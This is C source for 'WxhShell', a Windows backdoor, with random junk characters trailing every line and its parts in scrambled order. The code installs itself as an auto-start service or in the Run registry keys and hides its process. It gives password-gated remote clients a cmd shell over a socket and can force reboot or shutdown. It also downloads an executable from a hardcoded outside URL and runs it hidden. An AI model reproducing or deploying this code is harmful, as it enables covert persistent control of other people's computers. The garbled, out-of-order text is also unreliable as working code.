    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.v2 !u  
    else { Ag#o&Y  
    closesocket(wsh); MV.$Ay  
    ExitThread(0); pS C5$a(  
    } ;{e=Iz}/  
    break; <>9zXbI  
    } erQ0fW  
  // 获取shell $hM>%u  
  case 's': { n;+e(ob;;  
    CmdShell(wsh); O"Ua|8  
    closesocket(wsh); #vnJJ#uI|>  
    ExitThread(0); |Vq&IfP  
    break; 3$hbb6N%6.  
  } HGJfj*JH  
  // 退出 ""2g{!~r  
  case 'x': { fL7u419=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }G50?"^u  
    CloseIt(wsh); (K>=!&tlp=  
    break; yxpDQ O~x  
    } 7vf?#^ RlV  
  // 离开 b}OOG  
  case 'q': { IC:wof "  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $*Z Zh  
    closesocket(wsh); acdWU"<  
    WSACleanup(); [q5N 4&q\  
    exit(1); *wOuw@09  
    break; :>t^B+  
        } kk*:S*,  
  } >tFv&1iR  
  } NcVsQV  
XA%a7Xtni  
  // 提示信息 iH#b"h{w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 14,Pf`5Sz  
} 'z}Hg *  
  } aTx*6;-PH  
3>I   
  return; 8iDg2_l`G  
} -< 0PBl  
w`?Rd  
// shell模块句柄 i$Sq.NU  
int CmdShell(SOCKET sock) J/o$\8tiMw  
{ w_sA8B  
STARTUPINFO si; ,@b7N[h  
ZeroMemory(&si,sizeof(si)); #ErIot  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5cza0CriJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RC']"jpW  
PROCESS_INFORMATION ProcessInfo; xn)eb#r  
char cmdline[]="cmd"; l`}Ag8Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <\If:  
  return 0; uKBSv*AM  
} %j=xLV\  
ydyGPZ t  
// 自身启动模式 L`!M3c@u  
int StartFromService(void) 4[eQ5$CB<u  
{ SB3= 5"q  
typedef struct ?<#2raH-  
{ Y^(Sc4 W  
  DWORD ExitStatus; >(t_  
  DWORD PebBaseAddress; P(Fd|).j$  
  DWORD AffinityMask; RRBokj)]  
  DWORD BasePriority; +&p}iZp  
  ULONG UniqueProcessId; TBzOz:k  
  ULONG InheritedFromUniqueProcessId; }uTe(Rf  
}   PROCESS_BASIC_INFORMATION; =c>w  
guC7!P^  
PROCNTQSIP NtQueryInformationProcess; 4p %=8G|  
rkW2_UTZE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {0#p,l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WLTraB[?  
_Wjd`*  
  HANDLE             hProcess; p FkqDU  
  PROCESS_BASIC_INFORMATION pbi; !QB(M@1  
0H6^2T<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j9=QOq  
  if(NULL == hInst ) return 0; %qM3IVPK)q  
sZ,mRT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +foyPj!%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >+ZD 6l/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _(q|W3  
N1LZXXY{  
  if (!NtQueryInformationProcess) return 0; ':v@Pr|  
G\?q{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZN:~etd  
  if(!hProcess) return 0; ET&Q}UOE  
^:0e pj7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <u"h'e/oW_  
U1>VKP;5Nn  
  CloseHandle(hProcess); {cNH|  
'~1uJ0H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q6?}/p  
if(hProcess==NULL) return 0; vIoV(rc+  
#\[((y:q  
HMODULE hMod; [,F5GW{x  
char procName[255]; 6L~tUe.G  
unsigned long cbNeeded; J)w58/`?t  
l9J]<gG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nj7wc9z4  
}/%(7Ff{  
  CloseHandle(hProcess); ^}-(8~_en  
{ER%r'(4Z  
if(strstr(procName,"services")) return 1; // 以服务启动 ;!CYp; _  
8G>;X;W  
  return 0; // 注册表启动 mkCv  f  
} nr#DE?  
kW#{[,7r  
// 主模块 "))G|+tz  
int StartWxhshell(LPSTR lpCmdLine) 0ang^v;q  
{ WrR97]7t  
  SOCKET wsl; @+v;B:  
BOOL val=TRUE;  [>'P  
  int port=0; 1!x-_h}  
  struct sockaddr_in door; dJhT}"x  
WheJ 7~  
  if(wscfg.ws_autoins) Install(); b ;Vy=f  
*CA7 {2CX  
port=atoi(lpCmdLine); Ba$Ibq,r/  
#K3A{ jb,  
if(port<=0) port=wscfg.ws_port; a;a2x .<  
{5f? y\Z  
  WSADATA data; #Fua^]n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }NMkL l]J  
[8k7-}[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B}.G(-u?7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rmCrP(  
  door.sin_family = AF_INET; f3 lKdXnP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tm8c:S^uq)  
  door.sin_port = htons(port); ^oFg5  
Kf XE=v{t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S.9ki<  
closesocket(wsl); qp-/S^%  
return 1; #-9;Hn4x  
} C ^@~  
R~,*W1G6sF  
  if(listen(wsl,2) == INVALID_SOCKET) { "RG.27  
closesocket(wsl); kq[*q-:"x  
return 1; hCX}*  
} CW(]6s u{  
  Wxhshell(wsl); xud  
  WSACleanup(); (ia(y(=C  
{]\Q UXH  
return 0; =TDK$Ek  
QD0upYG  
} Y&O<A8=8  
I9ga8mG4-'  
// 以NT服务方式启动 P`'Nv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nb[z+V{=  
{ 4c2*)x$@  
DWORD   status = 0; =kq!e  
  DWORD   specificError = 0xfffffff; z G {1;  
llbj-9OZL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 93|u. @lEy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;4E0%@R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q%=`PCty  
  serviceStatus.dwWin32ExitCode     = 0; 3A_7R-sQ  
  serviceStatus.dwServiceSpecificExitCode = 0; nn@"68]g  
  serviceStatus.dwCheckPoint       = 0; N\IdZX%u  
  serviceStatus.dwWaitHint       = 0; )#9R()n!  
8>TDrpT}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); & p 1Et  
  if (hServiceStatusHandle==0) return; 9-DDly [)4  
S~+}_$  
status = GetLastError(); }>cQ}6n.  
  if (status!=NO_ERROR) sKhX0,s&  
{ K9FtFd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vcg$H8m  
    serviceStatus.dwCheckPoint       = 0; gqaENU>  
    serviceStatus.dwWaitHint       = 0; P`HE3?r  
    serviceStatus.dwWin32ExitCode     = status; -Cxk#-sb#  
    serviceStatus.dwServiceSpecificExitCode = specificError; n&=3Knbd@d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lvi~GZ  
    return; ;T!mNKl  
  } NZ `( d  
d%Zt]1$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7d?'~}j  
  serviceStatus.dwCheckPoint       = 0; #/  1  
  serviceStatus.dwWaitHint       = 0; ?]}1FP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xBhfC!AK}  
} e2Sudd=' G  
9l?#ZuGXp  
// 处理NT服务事件,比如:启动、停止 O $uXQ.r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B:=*lU.n  
{ . gK*Jpmx  
switch(fdwControl) s@C@q(i6  
{ i,BE]w  
case SERVICE_CONTROL_STOP: F>,kKR-  
  serviceStatus.dwWin32ExitCode = 0; Z 4uft  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $ u`y  
  serviceStatus.dwCheckPoint   = 0; zq g4@" p  
  serviceStatus.dwWaitHint     = 0; w%Tcx^:  
  { 95;q ] =U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | 1H"ya  
  } h_4o4#  
  return; 4,kT4_&,  
case SERVICE_CONTROL_PAUSE: 08&DP^NS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N^A&DrMF  
  break; )/h~csy:~  
case SERVICE_CONTROL_CONTINUE: $D8eCjUm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \D] N*  
  break; @cNX\$J  
case SERVICE_CONTROL_INTERROGATE: ]R/VE"-  
  break; 6X5`npf  
}; Hd6g0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5QU7!jb I  
} 2E^zQ>;01  
a!}.l< )  
// 标准应用程序主函数 wn[q?|1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k/W$)b:Of`  
{ 6;U]l.  
lL~T@+J~  
// 获取操作系统版本 0t<]Uf  
OsIsNt=GetOsVer(); +]/_gz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eLcP.;Z  
EUj'%;s z-  
  // 从命令行安装 ~HD:Y7  
  if(strpbrk(lpCmdLine,"iI")) Install(); CRvUD.D  
Sc;WraEn2  
  // 下载执行文件 GcQO&oq|  
if(wscfg.ws_downexe) { r*<)QP^B~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8 M3Q8&  
  WinExec(wscfg.ws_filenam,SW_HIDE); pS vDH-  
} rxQn[  
I~EQuQ>=  
if(!OsIsNt) { jQOY\1SR  
// 如果时win9x,隐藏进程并且设置为注册表启动 ` /JJ\`Pu  
HideProc(); mmm025.   
StartWxhshell(lpCmdLine); T<06y3sN  
} ,x}p1EZ  
else w@7NoD=  
  if(StartFromService()) wxpE5v+f|  
  // 以服务方式启动 S`TP#uzKu]  
  StartServiceCtrlDispatcher(DispatchTable); Bo8+ uRF|  
else L,0HX   
  // 普通方式启动 ~?8B~l^  
  StartWxhshell(lpCmdLine); dhpEB J  
SlI0p&2,  
return 0; K:fK! /  
} RG|]Kt8  
8'?V5.6?|~  
W'6~`t  
:^FOh*H  
=========================================== 1SeDrzLA  
EZ*FGt6(  
?U:?o_w  
O.CRF-` t  
"| V{@)!t  
_, /m  
" )nyud$9w'  
$A)i}M;uK  
#include <stdio.h> w~QUG^0Fx  
#include <string.h> $}r*WZ  
#include <windows.h> M%+l21&  
#include <winsock2.h> {.O Bcx  
#include <winsvc.h> 9*2A}dH  
#include <urlmon.h> .Y[sQO~%  
x F7C1g(  
#pragma comment (lib, "Ws2_32.lib") z-K?Ak B1  
#pragma comment (lib, "urlmon.lib") (Y\aV+9[  
!Gsr* F{.  
#define MAX_USER   100 // 最大客户端连接数 ~aa`Y0Ws],  
#define BUF_SOCK   200 // sock buffer I{AteL  
#define KEY_BUFF   255 // 输入 buffer \Rop~gD  
o Hdss;q  
#define REBOOT     0   // 重启 w<-8cvNhiz  
#define SHUTDOWN   1   // 关机 BL6t>  
#~%tdmGuL  
#define DEF_PORT   5000 // 监听端口 4(Gs$QkSo|  
" & 'Jw  
#define REG_LEN     16   // 注册表键长度 h" cLZM:6  
#define SVC_LEN     80   // NT服务名长度 :ak D  
NJSzOL_  
// 从dll定义API sF^3KJ|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /~V .qisZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <@ D`16%&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'm9f:iTr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LGZ5py=xb  
6b4Kcl<i  
// wxhshell配置信息 (nfra,'  
struct WSCFG { \9dSI  
  int ws_port;         // 监听端口 +J3 0OT8  
  char ws_passstr[REG_LEN]; // 口令 ZvEcExA-  
  int ws_autoins;       // 安装标记, 1=yes 0=no O= PFr"  
  char ws_regname[REG_LEN]; // 注册表键名 #+p30?r0y  
  char ws_svcname[REG_LEN]; // 服务名 Lzu;"#pw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |BhfW O8p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YG$2ySkDhE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z W` Ur>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VQV7W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EL $"MT}p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 saQA:W;  
p"f=[awp  
}; -q\5)nY  
4Waot  
// default Wxhshell configuration p*)RP2  
struct WSCFG wscfg={DEF_PORT, !/, 6+2Ru  
    "xuhuanlingzhe", +c#:;&Gs  
    1, [RG&1~  
    "Wxhshell", a(&!{Y1bt  
    "Wxhshell", HB yk 1  
            "WxhShell Service", YP{)jAK  
    "Wrsky Windows CmdShell Service", @54,I  
    "Please Input Your Password: ", X~t]qT  
  1, XH&Fn+  
  "http://www.wrsky.com/wxhshell.exe", 3>qUYxG8  
  "Wxhshell.exe" NKB,D$!~&  
    }; Vc|r(lM  
\)859x&(  
// 消息定义模块 h"/FqO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mcAg,~"HB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w V&{w7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =SPuOy8  
char *msg_ws_ext="\n\rExit."; b{qeu$G R  
char *msg_ws_end="\n\rQuit."; 2P`QS@v0a=  
char *msg_ws_boot="\n\rReboot..."; =\.Oc+p4  
char *msg_ws_poff="\n\rShutdown..."; %:oyHlz%  
char *msg_ws_down="\n\rSave to "; D"_~Njf  
[b-27\b  
char *msg_ws_err="\n\rErr!"; peqoLeJI  
char *msg_ws_ok="\n\rOK!"; G4->7n N  
*f|9A/*B3  
char ExeFile[MAX_PATH]; T">-%-t  
int nUser = 0; 2T/C!^iJ)  
HANDLE handles[MAX_USER]; x \B!0"~  
int OsIsNt; ?F'gh4  
y]Q G;  
SERVICE_STATUS       serviceStatus; {Buoo~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; px5~D(N  
V!G&Aen  
// 函数声明 z5IHcZ  
int Install(void); }LQ*vD-Jj  
int Uninstall(void); q#wg2  
int DownloadFile(char *sURL, SOCKET wsh); ?T-6|vZA  
int Boot(int flag); rks+\e}^Z  
void HideProc(void); T5_z^ 7d  
int GetOsVer(void); 6He7A@Eh  
int Wxhshell(SOCKET wsl); 2/S~l;x  
void TalkWithClient(void *cs); qp (ng 8%c  
int CmdShell(SOCKET sock); 0/P!rH9  
int StartFromService(void); iOz<n z  
int StartWxhshell(LPSTR lpCmdLine); yo*c& >  
[z#C&gDt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vr5 6 f1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JG&`l{c9  
*u.6,jw  
// 数据结构和表定义 opTDW)  
SERVICE_TABLE_ENTRY DispatchTable[] = OQ"%(w>Hb  
{ Z0T{1YEJ  
{wscfg.ws_svcname, NTServiceMain}, Cd)e_&  
{NULL, NULL} Et~b^8$>  
}; mN3}wJ}J  
f 'aQ T  
// 自我安装 ']^e,9=Q  
int Install(void) G|FF  
{ jq(3y|6,  
  char svExeFile[MAX_PATH]; 5 zG6V2  
  HKEY key; b9%}< w  
  strcpy(svExeFile,ExeFile); O @fX +W?U  
,GEMc a,`  
// 如果是win9x系统,修改注册表设为自启动 j-|YE?AA  
if(!OsIsNt) { GXB4&Q!C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L(Q v78F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r4caIV  
  RegCloseKey(key); |`T3H5X>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bep}|8,#u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M>J8J*  
  RegCloseKey(key); m&o}qzC'y  
  return 0; X&DuX %x0  
    } |8}f  
  } ,}F2l|x_  
} *>%34m93  
else { ):?ype>  
p.i$[6M  
// 如果是NT以上系统,安装为系统服务 T.="a2iS2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hkSpG{;7  
if (schSCManager!=0) K[)N/Q  
{ nW+rJ  
  SC_HANDLE schService = CreateService m! &bK5+*  
  ( K v"e\ E  
  schSCManager, Yu=4j9e_mG  
  wscfg.ws_svcname, vfzGRr  
  wscfg.ws_svcdisp, 7t` <`BY^  
  SERVICE_ALL_ACCESS, x-+[gNc 6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [9UKVnX.V  
  SERVICE_AUTO_START, %lNWaA  
  SERVICE_ERROR_NORMAL, E } |g3  
  svExeFile, (WiA  
  NULL, VA.jt}YGE  
  NULL, GyJp! xFB  
  NULL, I$0`U;Xd  
  NULL, 5P{dey!  
  NULL I2("p.+R  
  ); T:x5 ,vpM  
  if (schService!=0) [bkMl+:/HG  
  { @eMDRbgq;[  
  CloseServiceHandle(schService); M xj  
  CloseServiceHandle(schSCManager); AoyU1MR(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ! e6;@*  
  strcat(svExeFile,wscfg.ws_svcname); 5:9Ay ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VpMpZ9oM<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xtf]U:c  
  RegCloseKey(key); uxk&5RY  
  return 0; *2crhI*@>  
    } >JS\H6  
  } {y<[1Pms  
  CloseServiceHandle(schSCManager); V`~$| K[  
} /tA$ 'tZ  
} M]!\X6<_  
R?+Eo(0q,  
return 1; eJ)Bs20Q  
} g. f!Uc{  
Mo &Ia6^  
// 自我卸载 #O]F5JB  
int Uninstall(void) 0:Js{$ZL4  
{ &q1(v3cOO  
  HKEY key; },0fPkVsU  
]g3&gw  
if(!OsIsNt) { {>OuxVl??k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7M}T^LC  
  RegDeleteValue(key,wscfg.ws_regname); i\2MphS  
  RegCloseKey(key); U jVo "K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aW %ulZ  
  RegDeleteValue(key,wscfg.ws_regname); %Z&[wU~  
  RegCloseKey(key); NFY,$  
  return 0; KXcG;b[7n  
  } 7^Uv1ezDR  
} FB@c +*1  
} gqNd@tYI  
else { V'pNo&O=  
VZYd CZ&l7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E5 H6&XU  
if (schSCManager!=0) jD0^,aiG  
{ 'mpY2|]\$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h+zJ"\  
  if (schService!=0) s`Z(f:/6*  
  { t-dN:1  
  if(DeleteService(schService)!=0) { JXBW0|8b  
  CloseServiceHandle(schService); Q`g0g)3w  
  CloseServiceHandle(schSCManager); GB\.msls  
  return 0; 9cFFQM|o  
  } |U1X~\""  
  CloseServiceHandle(schService); *kgbcUf8  
  } R`G%eG)+  
  CloseServiceHandle(schSCManager); N<Rb<p%  
} /4 RKA!W  
} n5 @H  
s \#kqw\x  
return 1; 2uS&A \   
} ujB:G0'r  
-`]B4Nt6  
// 从指定url下载文件 ]jG%<j9A  
int DownloadFile(char *sURL, SOCKET wsh) W5$jIQ}Bw  
{ Z4}Yw{=f  
  HRESULT hr; $J[h(>-X  
char seps[]= "/"; FOB9CsMe  
char *token; Mp?Ev.  
char *file; m^U\l9LE  
char myURL[MAX_PATH]; )8ctNpQt  
char myFILE[MAX_PATH]; b'Z#RIb  
go6Hb>  
strcpy(myURL,sURL); y&lj+j  
  token=strtok(myURL,seps); P\iw[m7O  
  while(token!=NULL) /+2^xEIjE  
  { .,l ?z  
    file=token; =Z2U  
  token=strtok(NULL,seps); en!cu_]t  
  } 6 )0$UW  
WXNJc  
GetCurrentDirectory(MAX_PATH,myFILE); nfy"M),et  
strcat(myFILE, "\\"); ?Z( 6..&  
strcat(myFILE, file); -}2q-  
  send(wsh,myFILE,strlen(myFILE),0); CeR4's7  
send(wsh,"...",3,0); #E5#{bra  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \`{ YqOT  
  if(hr==S_OK) >~TLgq*  
return 0; XIJ>\ RF  
else -:pLlN-f  
return 1; + R])u5c'  
4xT(Uj  
} PQ@(p%   
dQ`ch~HVUW  
// 系统电源模块 Il'+^u_ <  
int Boot(int flag) /,2Em>  
{ $&n!j'C:  
  HANDLE hToken; |6`yE]3 -(  
  TOKEN_PRIVILEGES tkp; M=26@ n  
," :ADO-  
  if(OsIsNt) { R JnRbaC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2aW&d=!ZV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S`K8e^]  
    tkp.PrivilegeCount = 1; ~?E x?!\9R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jFw?Ky2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M ,e_=aq  
if(flag==REBOOT) { 1P3^il7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W: cOzJ  
  return 0; i4'?/UPc  
} .2!'6;K  
else { /V46:`V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cc.z C3Hs3  
  return 0; 8NPt[*  
} Z?G-~3]e  
  } ocAoqjlT[  
  else { +_06{7@h  
if(flag==REBOOT) { B2 Tp;)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uV52ko,  
  return 0; ^=pn!lK;^  
} TaG'?  
else { 3@KX|-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @4T+0&OI10  
  return 0; vxZvK0b620  
} 'RTz*CSZ  
} A 99 .b  
e {N8|l  
return 1; ,;O+2TX  
} 4punJg~1  
;wp)E nF  
// win9x进程隐藏模块 i~ n>dc YW  
void HideProc(void) u <%,Ql  
{ d.% Vm&3  
fJd!;ur)0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rQ;m|@  
  if ( hKernel != NULL ) cDxjD5E  
  {  PZf^r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jToA"udW/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9@Cqg5Kx'  
    FreeLibrary(hKernel); -1:yqF.x  
  } $vTU|o>|  
Pd%o6~_*  
return; hR[Qdu6r  
} D/9&pRsO  
%S]5wR6;_  
// 获取操作系统版本 f<!eJO:<'  
int GetOsVer(void) ]EE}ax%#aq  
{ :?U1^!$$1  
  OSVERSIONINFO winfo; 1 BAnf9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y2TJDb1  
  GetVersionEx(&winfo); xx#; )]WT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9%$4Ux*q  
  return 1; "So+  
  else `Q, moz  
  return 0; Qi w "x,  
} ds4ERe /  
iU~oPp[e  
// 客户端句柄模块 Zc{at}{  
int Wxhshell(SOCKET wsl) {O]Cj~}  
{ .?<,J  
  SOCKET wsh; -wW%+wH  
  struct sockaddr_in client; U5Q `r7  
  DWORD myID; 7$\;G82_  
yw{GO([ZQ  
  while(nUser<MAX_USER) hJkIFyQ{j  
{ I yL2{5  
  int nSize=sizeof(client); 4@4$kro  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %_(e{Mf)  
  if(wsh==INVALID_SOCKET) return 1; hof:36 <  
bfQ+}|;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W-<C%9O!  
if(handles[nUser]==0) z$QYl*F1  
  closesocket(wsh); -Z-|49I/mN  
else a^@6hC>sr  
  nUser++; MkRRBvk  
  } f}Mc2PQ-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ss-{l+Z5  
"/S-+Ufn  
  return 0; 2pQ zT  
} 38 tRb"3zP  
dK#:io[Nz  
// 关闭 socket lN<vu#  
void CloseIt(SOCKET wsh) TXv3@/>ZlG  
{ E"b+Q  
closesocket(wsh); 0%<Fc9#  
nUser--; ^}a..@|%W  
ExitThread(0); ^I5k+cL  
} ol^OvG:TQ  
P@`@?kMU  
// 客户端请求句柄 kbN2dL  
void TalkWithClient(void *cs) ,@;",  
{ ^r?ZrbSbz  
}Cvf[H1+  
  SOCKET wsh=(SOCKET)cs; 7ykpDl^@  
  char pwd[SVC_LEN]; Z_zN:BJ8L  
  char cmd[KEY_BUFF]; kOfbO'O9  
char chr[1]; q3z<v:=1y  
int i,j; [O2xE037h`  
,gVA^]eDh  
  while (nUser < MAX_USER) { MXh0a@*]  
K63OjR >H  
if(wscfg.ws_passstr) { &u&/t?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c/jU+,_g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "iMuA  
  //ZeroMemory(pwd,KEY_BUFF); [o<Rgq 4  
      i=0; .D(H@3qA@  
  while(i<SVC_LEN) { `WboM\u  
[i== Tp  
  // 设置超时 1aP3oXLL  
  fd_set FdRead; }Y[xj{2$O  
  struct timeval TimeOut; IE+{W~y\  
  FD_ZERO(&FdRead); V`fp%7W  
  FD_SET(wsh,&FdRead); ]u?|3y^ (  
  TimeOut.tv_sec=8;  _/;vsQB  
  TimeOut.tv_usec=0; =2F;'T\6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zVKbM3(^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _D1Uc|  
7?9QlUO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >gRb.-{ux  
  pwd=chr[0]; vO`~rUA  
  if(chr[0]==0xd || chr[0]==0xa) { 93Kd7x-3  
  pwd=0; ><V<}&:y$(  
  break; $M5iU@A  
  } M+j V`J!  
  i++; V^;2u  
    } oCg|* c|+  
JfGU3d*c  
  // 如果是非法用户,关闭 socket -GJ~xcf0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1YV ;pEw3w  
} 0/5 a3-3{  
++w7jVi9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  ?12[8   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^hr^f;N  
(HbA?Aja  
while(1) { 9AF%Y:y  
S~()A*5  
  ZeroMemory(cmd,KEY_BUFF); wX Z"}uT<}  
G8z.JX-7g  
      // 自动支持客户端 telnet标准   "m,)3zND3  
  j=0; Rsd~t_a1  
  while(j<KEY_BUFF) { |(u6xPs;P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <|8N\FU{  
  cmd[j]=chr[0]; 1Bp?HyCR  
  if(chr[0]==0xa || chr[0]==0xd) { q4=Gj`\43  
  cmd[j]=0; *eL&fC  
  break; @rI+.X  
  } NXo$rf:  
  j++; 4zKmoYt  
    } K~Nx;{{d  
6l]jm j)/  
  // 下载文件 l7 Pn5c  
  if(strstr(cmd,"http://")) { 2T 3tKX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pse$S=  
  if(DownloadFile(cmd,wsh)) N!!=9'fGF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); opsjei@  
  else xl2;DFiYt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %])U(  
  } Jx@_OE_vp  
  else { ~/^q>z!\4  
`& ufdn\j  
    switch(cmd[0]) { uaghB,i'n  
  /M!b3bmA  
  // 帮助 m&vuBb3  
  case '?': { RwKnNIp  
